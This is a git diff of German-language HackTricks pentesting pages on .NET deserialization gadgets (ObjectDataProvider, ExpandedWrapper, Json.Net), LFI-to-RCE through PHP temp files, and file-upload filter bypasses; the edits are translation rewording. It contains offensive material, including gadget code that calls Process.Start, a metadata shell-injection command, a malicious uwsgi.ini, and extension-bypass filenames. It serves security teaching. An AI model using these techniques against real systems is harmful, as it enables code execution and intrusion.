b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index 7b4718102..cf486449e 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -7,14 +7,14 @@ Dieser Beitrag ist gewidmet, um **zu verstehen, wie das Gadget ObjectDataProvide ## ObjectDataProvider Gadget Aus der Dokumentation: _Die ObjectDataProvider-Klasse umschließt und erstellt ein Objekt, das Sie als Bindungsquelle verwenden können_.\ -Ja, das ist eine seltsame Erklärung, also schauen wir uns an, was diese Klasse so interessant macht: Diese Klasse ermöglicht es, **ein beliebiges Objekt zu umschließen**, _**MethodParameters**_ zu verwenden, um **beliebige Parameter festzulegen**, und dann **MethodName zu verwenden, um eine beliebige Funktion** des beliebigen Objekts, das mit den beliebigen Parametern deklariert wurde, aufzurufen.\ +Ja, das ist eine seltsame Erklärung, also schauen wir uns an, was diese Klasse so Interessantes hat: Diese Klasse ermöglicht es, **ein beliebiges Objekt zu umschließen**, _**MethodParameters**_ zu **beliebigen Parametern festzulegen** und dann **MethodName zu verwenden, um eine beliebige Funktion** des beliebigen Objekts, das mit den beliebigen Parametern deklariert wurde, aufzurufen.\ Daher wird das beliebige **Objekt** eine **Funktion** mit **Parametern ausführen, während es deserialisiert wird.** ### **Wie ist das möglich** -Der **System.Windows.Data**-Namespace, der innerhalb der **PresentationFramework.dll** unter `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` zu finden ist, ist der Ort, an dem der ObjectDataProvider definiert und implementiert ist. +Der **System.Windows.Data**-Namespace, der innerhalb der **PresentationFramework.dll** unter `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` definiert und implementiert ist, ist der Ort, an dem der ObjectDataProvider definiert ist. -Mit [**dnSpy**](https://github.com/0xd4d/dnSpy) können Sie den **Code** der Klasse, an der wir interessiert sind, **untersuchen**. Im Bild unten sehen wir den Code von **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** +Mit [**dnSpy**](https://github.com/0xd4d/dnSpy) können Sie **den Code** der Klasse, die uns interessiert, **untersuchen**. Im Bild unten sehen wir den Code von **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** ![](<../../images/image (427).png>) @@ -22,7 +22,7 @@ Wie Sie sehen können, wird bei der Einstellung von `MethodName` `base.Refresh() ![](<../../images/image (319).png>) -Ok, lassen Sie uns weitersehen, was `this.BeginQuery()` macht. `BeginQuery` wird von `ObjectDataProvider` überschrieben und das ist, was es tut: +Ok, lassen Sie uns weitersehen, was `this.BeginQuery()` tut. `BeginQuery` wird von `ObjectDataProvider` überschrieben und das ist, was es tut: ![](<../../images/image (345).png>) @@ -32,7 +32,7 @@ Beachten Sie, dass am Ende des Codes `this.QueryWorke(null)` aufgerufen wird. La Beachten Sie, dass dies nicht der vollständige Code der Funktion `QueryWorker` ist, aber es zeigt den interessanten Teil davon: Der Code **ruft `this.InvokeMethodOnInstance(out ex);` auf** dies ist die Zeile, in der das **Methoden-Set aufgerufen wird**. -Wenn Sie überprüfen möchten, dass nur durch das Setzen von _**MethodName**_\*\* es ausgeführt wird\*\*, können Sie diesen Code ausführen: +Wenn Sie überprüfen möchten, dass durch das Setzen von _**MethodName**_** es ausgeführt wird**, können Sie diesen Code ausführen: ```java using System.Windows.Data; using System.Diagnostics; @@ -56,10 +56,10 @@ Beachten Sie, dass Sie als Referenz _C:\Windows\Microsoft.NET\Framework\v4.0.303 ## ExpandedWrapper -Mit dem vorherigen Exploit wird es Fälle geben, in denen das **Objekt** als _**ObjectDataProvider**_ Instanz **deserialisiert wird** (zum Beispiel in der DotNetNuke-Schwachstelle, bei Verwendung von XmlSerializer, wurde das Objekt mit `GetType` deserialisiert). Dann hat man **keine Kenntnis über den Objekttyp, der in der _ObjectDataProvider_ Instanz eingekapselt ist** (zum Beispiel `Process`). Sie können mehr [Informationen über die DotNetNuke-Schwachstelle hier](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) finden. +Mit dem vorherigen Exploit wird es Fälle geben, in denen das **Objekt** als _**ObjectDataProvider**_ Instanz **deserialisiert wird** (zum Beispiel in der DotNetNuke-Schwachstelle, bei Verwendung von XmlSerializer, wurde das Objekt mit `GetType` deserialisiert). Dann hat man **keine Kenntnis vom Objekttyp, der in der _ObjectDataProvider_ Instanz eingekapselt ist** (zum Beispiel `Process`). Weitere [Informationen zur DotNetNuke-Schwachstelle finden Sie hier](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). Diese Klasse ermöglicht es, die **Objekttypen der Objekte, die in einer bestimmten Instanz eingekapselt sind, anzugeben**. Daher kann diese Klasse verwendet werden, um ein Quellobjekt (_ObjectDataProvider_) in einen neuen Objekttyp einzukapseln und die benötigten Eigenschaften bereitzustellen (_ObjectDataProvider.MethodName_ und _ObjectDataProvider.MethodParameters_).\ -Dies ist sehr nützlich für Fälle wie den zuvor präsentierten, da wir in der Lage sein werden, **\_ObjectDataProvider**_\*\* innerhalb einer \*\*_**ExpandedWrapper** \_ Instanz zu **verpacken** und **bei der Deserialisierung** wird diese Klasse das _**OjectDataProvider**_ Objekt **erstellen**, das die **Funktion** ausführt, die in _**MethodName**_ angegeben ist. +Dies ist sehr nützlich für Fälle wie den zuvor dargestellten, da wir in der Lage sein werden, **_ObjectDataProvider**_** innerhalb einer **_**ExpandedWrapper** _ Instanz zu **verpacken** und **bei der Deserialisierung** wird diese Klasse das _**OjectDataProvider**_ Objekt **erstellen**, das die **Funktion** ausführt, die in _**MethodName**_ angegeben ist. Sie können diesen Wrapper mit dem folgenden Code überprüfen: ```java @@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start"; ``` ## Json.Net -Auf der [offiziellen Webseite](https://www.newtonsoft.com/json) wird angegeben, dass diese Bibliothek es ermöglicht, **jede .NET-Objekt mit Json.NETs leistungsstarkem JSON-Serializer zu serialisieren und zu deserialisieren**. Wenn wir also **das ObjectDataProvider-Gadget deserialisieren könnten**, könnten wir durch das Deserialisieren eines Objekts eine **RCE** verursachen. +Auf der [offiziellen Webseite](https://www.newtonsoft.com/json) wird angegeben, dass diese Bibliothek es ermöglicht, **jede .NET-Objekt mit Json.NETs leistungsstarkem JSON-Serializer zu serialisieren und zu deserialisieren**. Wenn wir also **das ObjectDataProvider-Gadget deserialisieren** könnten, könnten wir durch das Deserialisieren eines Objekts eine **RCE** verursachen. ### Json.Net Beispiel -Zuerst sehen wir uns ein Beispiel an, wie man ein Objekt mit dieser Bibliothek **serialisieren/deserialisieren** kann: +Zunächst sehen wir uns ein Beispiel an, wie man ein Objekt mit dieser Bibliothek **serialisieren/deserialisieren** kann: ```java using System; using Newtonsoft.Json; diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md index 600aaf762..68e5d3312 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md @@ -1,4 +1,4 @@ -# LFI2RCE über Eternal Waiting +# LFI2RCE via Eternal waiting {{#include ../../banners/hacktricks-training.md}} @@ -6,9 +6,9 @@ Standardmäßig, wenn eine Datei in PHP hochgeladen wird (auch wenn es nicht erwartet wird), wird eine temporäre Datei in `/tmp` mit einem Namen wie **`php[a-zA-Z0-9]{6}`** erstellt, obwohl ich einige Docker-Images gesehen habe, bei denen die generierten Dateien keine Ziffern enthalten. -Bei einer lokalen Dateieinbindung, **wenn es dir gelingt, diese hochgeladene Datei einzubinden, erhältst du RCE**. +Bei einer lokalen Dateieinbindung, **wenn es Ihnen gelingt, diese hochgeladene Datei einzubinden, erhalten Sie RCE**. -Beachte, dass PHP standardmäßig **nur 20 Dateien in einer einzigen Anfrage hochzuladen erlaubt** (festgelegt in `/etc/php//apache2/php.ini`): +Beachten Sie, dass PHP standardmäßig **nur 20 Dateien in einer einzigen Anfrage erlaubt** (festgelegt in `/etc/php//apache2/php.ini`): ``` ; Maximum number of files that can be uploaded via a single request max_file_uploads = 20 @@ -17,8 +17,8 @@ Auch die **Anzahl der potenziellen Dateinamen beträgt 62\*62\*62\*62\*62\*62 = ### Andere Techniken -Andere Techniken basieren darauf, PHP-Protokolle anzugreifen (Sie werden nicht in der Lage sein, wenn Sie nur den letzten Teil des Pfades kontrollieren), den Pfad der Datei offenzulegen, erwartete Dateien auszunutzen oder **PHP dazu zu bringen, einen Segmentierungsfehler zu erleiden, sodass hochgeladene temporäre Dateien nicht gelöscht werden**.\ -Diese Technik ist **sehr ähnlich der letzten, erfordert jedoch kein Finden eines Zero-Day**. +Andere Techniken basieren darauf, PHP-Protokolle anzugreifen (du wirst nicht in der Lage sein, wenn du nur den letzten Teil des Pfades kontrollierst), den Pfad der Datei offenzulegen, erwartete Dateien auszunutzen oder **PHP dazu zu bringen, einen Segmentierungsfehler zu erleiden, sodass hochgeladene temporäre Dateien nicht gelöscht werden**.\ +Diese Technik ist **sehr ähnlich der letzten, erfordert jedoch kein Finden eines Zero Days**. ### Ewige Warte-Technik @@ -26,7 +26,7 @@ In dieser Technik **müssen wir nur einen relativen Pfad kontrollieren**. Wenn e **Vorteile dieser Technik**: -- Sie müssen nur einen relativen Pfad innerhalb eines Includes kontrollieren +- Du musst nur einen relativen Pfad innerhalb eines Includes kontrollieren - Erfordert kein nginx oder unerwarteten Zugriff auf Protokolldateien - Erfordert keinen 0-Day, um einen Segmentierungsfehler zu verursachen - Erfordert keine Pfadoffenlegung @@ -37,13 +37,13 @@ Die **Hauptprobleme** dieser Technik sind: - Die **wahnsinnige** Anzahl potenzieller Dateinamen: **56800235584** - Wenn der Server **keine Ziffern verwendet**, beträgt die gesamte potenzielle Anzahl: **19770609664** - Standardmäßig können **nur 20 Dateien** in einer **einzelnen Anfrage** hochgeladen werden. -- Die **maximale Anzahl paralleler Arbeiter** des verwendeten Servers. +- Die **maximale Anzahl paralleler Worker** des verwendeten Servers. - Diese Grenze zusammen mit den vorherigen kann diesen Angriff zu lange dauern lassen -- **Timeout für eine PHP-Anfrage**. Idealerweise sollte dies ewig dauern oder den PHP-Prozess beenden, ohne die temporär hochgeladenen Dateien zu löschen, andernfalls wird dies auch ein Problem sein +- **Timeout für eine PHP-Anfrage**. Idealerweise sollte dies ewig dauern oder den PHP-Prozess beenden, ohne die temporär hochgeladenen Dateien zu löschen, andernfalls wird das auch ein Problem sein -Wie können Sie also **eine PHP-Include-Anweisung dazu bringen, niemals zu enden**? Indem Sie einfach die Datei **`/sys/kernel/security/apparmor/revision`** einfügen (**leider nicht in Docker-Containern verfügbar...**). +Wie kannst du also **eine PHP-Include-Anweisung niemals enden lassen**? Indem du einfach die Datei **`/sys/kernel/security/apparmor/revision`** einfügst (**leider nicht in Docker-Containern verfügbar...**). -Versuchen Sie es einfach, indem Sie aufrufen: +Versuche es einfach, indem du aufrufst: ```bash php -a # open php cli include("/sys/kernel/security/apparmor/revision"); @@ -56,7 +56,7 @@ Standardmäßig (wie ich in meinen Tests sehen kann) kann ein **PHP-Prozess ewig Lassen Sie uns einige Berechnungen anstellen: -- Wir können **149 Verbindungen** verwenden, um **149 \* 20 = 2980 temporäre Dateien** mit unserem Webshell zu generieren. +- Wir können **149 Verbindungen** nutzen, um **149 \* 20 = 2980 temporäre Dateien** mit unserem Webshell zu generieren. - Dann verwenden wir die **letzte Verbindung**, um **Brute-Force** potenzielle Dateien. - Bei einer Geschwindigkeit von **10 Anfragen/s** sind die Zeiten: - 56800235584 / 2980 / 10 / 3600 \~= **530 Stunden** (50% Chance in 265h) @@ -65,20 +65,20 @@ Lassen Sie uns einige Berechnungen anstellen: > [!WARNING] > Beachten Sie, dass wir im vorherigen Beispiel **andere Clients vollständig DoSen**! -Wenn der Apache-Server verbessert wird und wir **4000 Verbindungen** missbrauchen könnten (auf halbem Weg zur maximalen Anzahl). Wir könnten `3999*20 = 79980` **Dateien** erstellen und die **Zahl** würde auf etwa **19.7h** oder **6.9h** (10h, 3.5h 50% Chance) **reduziert** werden. +Wenn der Apache-Server verbessert wird und wir **4000 Verbindungen** missbrauchen könnten (auf halbem Weg zur maximalen Anzahl). Wir könnten `3999*20 = 79980` **Dateien** erstellen und die **Zahl** würde auf etwa **19.7h** oder **6.9h** (10h, 3.5h 50% Chance) **reduziert**. ## PHP-FMP Wenn anstelle des regulären PHP-Moduls für Apache, um PHP-Skripte auszuführen, die **Webseite** **PHP-FMP verwendet** (dies verbessert die Effizienz der Webseite, daher ist es üblich, es zu finden), gibt es noch etwas, das getan werden kann, um die Technik zu verbessern. PHP-FMP ermöglicht es, den **Parameter** **`request_terminate_timeout`** in **`/etc/php//fpm/pool.d/www.conf`** zu **konfigurieren**.\ -Dieser Parameter gibt die maximale Anzahl von Sekunden an, **wann** **die Anfrage an PHP beendet werden muss** (standardmäßig unendlich, aber **30s, wenn der Parameter nicht auskommentiert ist**). Wenn eine Anfrage von PHP verarbeitet wird, wird die angegebene Anzahl von Sekunden **getötet**. Das bedeutet, dass, wenn die Anfrage temporäre Dateien hochlädt, weil die **PHP-Verarbeitung gestoppt wurde**, diese **Dateien nicht gelöscht werden**. Daher, wenn Sie eine Anfrage so lange aufrechterhalten können, können Sie **tausende von temporären Dateien** generieren, die nicht gelöscht werden, was den Prozess der Auffindung beschleunigt und die Wahrscheinlichkeit eines DoS für die Plattform verringert, indem alle Verbindungen verbraucht werden. +Dieser Parameter gibt die maximale Anzahl von Sekunden an, **wann** **die Anfrage an PHP beendet werden muss** (standardmäßig unendlich, aber **30s, wenn der Parameter nicht auskommentiert ist**). Wenn eine Anfrage von PHP verarbeitet wird, wird die angegebene Anzahl von Sekunden **getötet**. Das bedeutet, dass, wenn die Anfrage temporäre Dateien hochlädt, weil die **PHP-Verarbeitung gestoppt wurde**, diese **Dateien nicht gelöscht werden**. Daher, wenn Sie eine Anfrage so lange aufrechterhalten können, können Sie **tausende temporäre Dateien generieren**, die nicht gelöscht werden, was den Prozess der Auffindung beschleunigt und die Wahrscheinlichkeit eines DoS für die Plattform verringert, indem alle Verbindungen verbraucht werden. Um also **DoS zu vermeiden**, nehmen wir an, dass ein **Angreifer nur 100 Verbindungen** gleichzeitig verwenden wird und die maximale Verarbeitungszeit von PHP durch **php-fmp** (`request_terminate_timeout`**)** **30s** beträgt. Daher beträgt die Anzahl der **temporären Dateien**, die **pro Sekunde** generiert werden können, `100*20/30 = 66.67`. -Um dann **10000 Dateien** zu generieren, müsste ein Angreifer: **`10000/66.67 = 150s`** (um **100000 Dateien** zu generieren, würde die Zeit **25min** betragen). +Um dann **10000 Dateien** zu generieren, würde ein Angreifer benötigen: **`10000/66.67 = 150s`** (um **100000 Dateien** zu generieren, würde die Zeit **25min** betragen). -Dann könnte der Angreifer diese **100 Verbindungen** verwenden, um eine **Brute-Force-Suche** durchzuführen. \*\*\*\* Bei einer Geschwindigkeit von 300 req/s beträgt die benötigte Zeit für die Ausnutzung Folgendes: +Dann könnte der Angreifer diese **100 Verbindungen** nutzen, um eine **Brute-Force-Suche** durchzuführen. Bei einer Geschwindigkeit von 300 req/s beträgt die benötigte Zeit für die Ausnutzung Folgendes: - 56800235584 / 10000 / 300 / 3600 \~= **5.25 Stunden** (50% Chance in 2.63h) - (mit 100000 Dateien) 56800235584 / 100000 / 300 / 3600 \~= **0.525 Stunden** (50% Chance in 0.263h) @@ -88,10 +88,10 @@ Ja, es ist möglich, 100000 temporäre Dateien in einer EC2-Medium-Instanz zu ge
> [!WARNING] -> Beachten Sie, dass es **ausreichend wäre, die anfällige LFI-Seite einzuschließen**, um den Timeout auszulösen, sodass sie in eine ewige Einschleifung eintritt. +> Beachten Sie, dass es **ausreichend wäre, die anfällige LFI-Seite einzuschließen**, um den Timeout auszulösen, sodass sie in eine ewige Einschluss-Schleife eintritt. ## Nginx -Es scheint, dass Nginx standardmäßig **512 parallele Verbindungen** gleichzeitig unterstützt (und diese Zahl kann verbessert werden). +Es scheint, dass Nginx standardmäßig **512 parallele Verbindungen** gleichzeitig unterstützt (und diese Zahl verbessert werden kann). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 9c32afc0c..1058839df 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -31,7 +31,7 @@ Weitere nützliche Erweiterungen: - _file._ - _file.php...._ - _file.pHp5...._ -4. Versuchen Sie, die Schutzmaßnahmen zu umgehen, indem Sie den **Erweiterungsparser** des Servers mit Techniken wie **Verdopplung** der **Erweiterung** oder **Hinzufügen von Junk**-Daten (**null** Bytes) zwischen den Erweiterungen täuschen. _Sie können auch die **vorherigen Erweiterungen** verwenden, um eine bessere Payload vorzubereiten._ +4. Versuchen Sie, die Schutzmaßnahmen **zu umgehen, indem Sie den Erweiterungsparser** des Servers mit Techniken wie **Verdopplung** der **Erweiterung** oder **Hinzufügen von Junk**-Daten (**null** Bytes) zwischen den Erweiterungen täuschen. _Sie können auch die **vorherigen Erweiterungen** verwenden, um eine bessere Payload vorzubereiten._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -43,15 +43,15 @@ Weitere nützliche Erweiterungen: 5. Fügen Sie **eine weitere Ebene von Erweiterungen** zur vorherigen Überprüfung hinzu: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Versuchen Sie, die **exec-Erweiterung vor der gültigen Erweiterung** zu setzen und beten Sie, dass der Server falsch konfiguriert ist. (nützlich zur Ausnutzung von Apache-Misconfigurationen, bei denen alles mit der Erweiterung **_**.php**_**, aber nicht unbedingt endend in .php** Code ausführt): -- _ex: file.php.png_ -7. Verwenden von **NTFS-Alternativdatenstrom (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunktzeichen “:” nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Infolgedessen wird eine **leere Datei mit der verbotenen Erweiterung** auf dem Server erstellt (z.B. “file.asax:.jpg”). Diese Datei könnte später mit anderen Techniken bearbeitet werden, z.B. mit ihrem kurzen Dateinamen. Das Muster “**::$data**” kann auch verwendet werden, um nicht leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktzeichens nach diesem Muster auch nützlich sein, um weitere Einschränkungen zu umgehen (.z.B. “file.asp::$data.”) +6. Versuchen Sie, die **exec-Erweiterung vor der gültigen Erweiterung** zu setzen und beten Sie, dass der Server falsch konfiguriert ist. (nützlich zur Ausnutzung von Apache-Misconfigurationen, bei denen alles mit der Erweiterung **_**.php**_**, aber **nicht unbedingt endend in .php** Code ausführt): +- _z.B.: file.php.png_ +7. Verwenden von **NTFS-Alternativdatenstrom (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunktzeichen “:” nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Infolgedessen wird eine **leere Datei mit der verbotenen Erweiterung** auf dem Server erstellt (z.B. “file.asax:.jpg”). Diese Datei könnte später mit anderen Techniken bearbeitet werden, z.B. mit ihrem kurzen Dateinamen. Das Muster “**::$data**” kann auch verwendet werden, um nicht leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktzeichens nach diesem Muster auch nützlich sein, um weitere Einschränkungen zu umgehen (z.B. “file.asp::$data.”) 8. Versuchen Sie, die Dateinamenlimits zu brechen. Die gültige Erweiterung wird abgeschnitten. Und das bösartige PHP bleibt. AAA<--SNIP-->AAA.php ``` # Linux maximal 255 Bytes /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier und Hinzufügen von .png +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier und .png hinzufügen # Laden Sie die Datei hoch und überprüfen Sie die Antwort, wie viele Zeichen sie zulässt. Angenommen 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @@ -63,7 +63,7 @@ AAA<--SNIP 232 A-->AAA.php.png - Umgehung der **Content-Type**-Überprüfungen, indem der **Wert** des **Content-Type** **Headers** auf: _image/png_, _text/plain_, application/octet-stream_ gesetzt wird. 1. Content-Type **Wortliste**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Umgehung der **Magic Number**-Überprüfung, indem am Anfang der Datei die **Bytes eines echten Bildes** hinzugefügt werden (verwirren Sie den _file_ Befehl). Oder führen Sie die Shell in die **Metadaten** ein:\ +- Umgehung der **Magic Number**-Überprüfung, indem am Anfang der Datei die **Bytes eines echten Bildes** hinzugefügt werden (verwirren Sie den _file_-Befehl). Oder führen Sie die Shell in die **Metadaten** ein:\ `exiftool -Comment="' >> img.png` @@ -79,13 +79,13 @@ AAA<--SNIP 232 A-->AAA.php.png - Finden Sie eine Schwachstelle, um die Datei, die bereits hochgeladen wurde, **umzubenennen** (um die Erweiterung zu ändern). - Finden Sie eine **Local File Inclusion**-Schwachstelle, um die Hintertür auszuführen. - **Mögliche Informationsoffenlegung**: -1. Laden Sie die **gleiche Datei** **mehrmals** (und gleichzeitig) mit dem **gleichen Namen** hoch. +1. Laden Sie **mehrmals** (und gleichzeitig) die **gleiche Datei** mit dem **gleichen Namen** hoch. 2. Laden Sie eine Datei mit dem **Namen** einer **Datei** oder **Ordners**, der **bereits existiert**. 3. Laden Sie eine Datei mit **“.”, “..” oder “…” als Namen** hoch. Zum Beispiel, in Apache in **Windows**, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis “/www/uploads/” speichert, wird der Dateiname “.” eine Datei namens “uploads” im Verzeichnis “/www/” erstellen. 4. Laden Sie eine Datei hoch, die möglicherweise nicht leicht gelöscht werden kann, wie **“…:.jpg”** in **NTFS**. (Windows) 5. Laden Sie eine Datei in **Windows** mit **ungültigen Zeichen** wie `|<>*?”` in ihrem Namen hoch. (Windows) 6. Laden Sie eine Datei in **Windows** mit **reservierten** (**verbotenen**) **Namen** wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9 hoch. -- Versuchen Sie auch, eine **ausführbare** Datei (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die **Code ausführt**, wenn sie versehentlich vom Opfer geöffnet wird. +- Versuchen Sie auch, eine **ausführbare Datei** (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die **Code ausführt**, wenn sie versehentlich vom Opfer geöffnet wird. ### Besondere Erweiterungstricks @@ -106,7 +106,7 @@ Wenn Sie eine XML-Datei auf einen Jetty-Server hochladen können, können Sie [R Für eine detaillierte Untersuchung dieser Schwachstelle überprüfen Sie die ursprüngliche Forschung: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Remote Command Execution (RCE) Schwachstellen können in uWSGI-Servern ausgenutzt werden, wenn man die Fähigkeit hat, die `.ini`-Konfigurationsdatei zu ändern. uWSGI-Konfigurationsdateien nutzen eine spezifische Syntax, um "magische" Variablen, Platzhalter und Operatoren einzufügen. Besonders der '@'-Operator, der als `@(filename)` verwendet wird, ist dafür gedacht, den Inhalt einer Datei einzufügen. Unter den verschiedenen unterstützten Schemas in uWSGI ist das "exec"-Schema besonders mächtig, da es das Lesen von Daten aus dem Standardausgang eines Prozesses ermöglicht. Diese Funktion kann für böswillige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read manipuliert werden, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird. +Remote Command Execution (RCE) Schwachstellen können in uWSGI-Servern ausgenutzt werden, wenn man die Möglichkeit hat, die `.ini`-Konfigurationsdatei zu ändern. uWSGI-Konfigurationsdateien verwenden eine spezifische Syntax, um "magische" Variablen, Platzhalter und Operatoren einzufügen. Besonders der '@'-Operator, der als `@(dateiname)` verwendet wird, ist dafür gedacht, den Inhalt einer Datei einzufügen. Unter den verschiedenen unterstützten Schemas in uWSGI ist das "exec"-Schema besonders mächtig, da es das Lesen von Daten aus dem Standardausgang eines Prozesses ermöglicht. Diese Funktion kann für böswillige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read manipuliert werden, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird. Betrachten Sie das folgende Beispiel einer schädlichen `uwsgi.ini`-Datei, die verschiedene Schemas zeigt: ```ini @@ -128,12 +128,12 @@ characters = @(call://uwsgi_func) ``` Die Ausführung des Payloads erfolgt während des Parsens der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst werden kann, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Absturz oder aufgrund eines Denial of Service-Angriffs) oder die Datei muss auf automatisches Neuladen eingestellt werden. Die Auto-Reload-Funktion, wenn aktiviert, lädt die Datei in festgelegten Intervallen neu, wenn Änderungen erkannt werden. -Es ist entscheidend, die nachsichtige Natur des Parsens der uWSGI-Konfigurationsdatei zu verstehen. Insbesondere kann der besprochene Payload in eine Binärdatei (wie ein Bild oder PDF) eingefügt werden, was den Umfang potenzieller Ausnutzung weiter erweitert. +Es ist entscheidend, die nachlässige Natur des Parsens der Konfigurationsdatei von uWSGI zu verstehen. Insbesondere kann der besprochene Payload in eine Binärdatei (wie ein Bild oder PDF) eingefügt werden, was den Umfang potenzieller Ausnutzung weiter erweitert. ## **wget File Upload/SSRF Trick** In einigen Fällen kann es vorkommen, dass ein Server **`wget`** verwendet, um **Dateien herunterzuladen**, und Sie können die **URL** **angeben**. In diesen Fällen überprüft der Code möglicherweise, ob die Erweiterung der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. Diese **Überprüfung kann jedoch umgangen werden.**\ -Die **maximale** Länge eines **Dateinamens** in **linux** beträgt **255**, jedoch kürzt **wget** die Dateinamen auf **236** Zeichen. Sie können eine Datei mit dem Namen **"A"\*232+".php"+".gif"** **herunterladen**, dieser Dateiname wird die **Überprüfung umgehen** (da in diesem Beispiel **".gif"** eine **gültige** Erweiterung ist), aber `wget` wird die Datei in **"A"\*232+".php"** **umbenennen**. +Die **maximale** Länge eines **Dateinamens** in **Linux** beträgt **255**, jedoch kürzt **wget** die Dateinamen auf **236** Zeichen. Sie können eine Datei mit dem Namen **"A"\*232+".php"+".gif"** **herunterladen**, dieser Dateiname wird die **Überprüfung umgehen** (da in diesem Beispiel **".gif"** eine **gültige** Erweiterung ist), aber `wget` wird die Datei in **"A"\*232+".php"** **umbenennen**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -156,23 +156,23 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Beachten Sie, dass **eine andere Option**, an die Sie denken könnten, um diese Überprüfung zu umgehen, darin besteht, den **HTTP-Server auf eine andere Datei umzuleiten**, sodass die ursprüngliche URL die Überprüfung umgeht und wget die umgeleitete Datei mit dem neuen Namen herunterlädt. Dies **funktioniert nicht** **es sei denn**, wget wird mit dem **Parameter** `--trust-server-names` verwendet, da **wget die umgeleitete Seite mit dem Namen der Datei herunterlädt, die in der ursprünglichen URL angegeben ist**. +Beachten Sie, dass **eine andere Option**, an die Sie denken 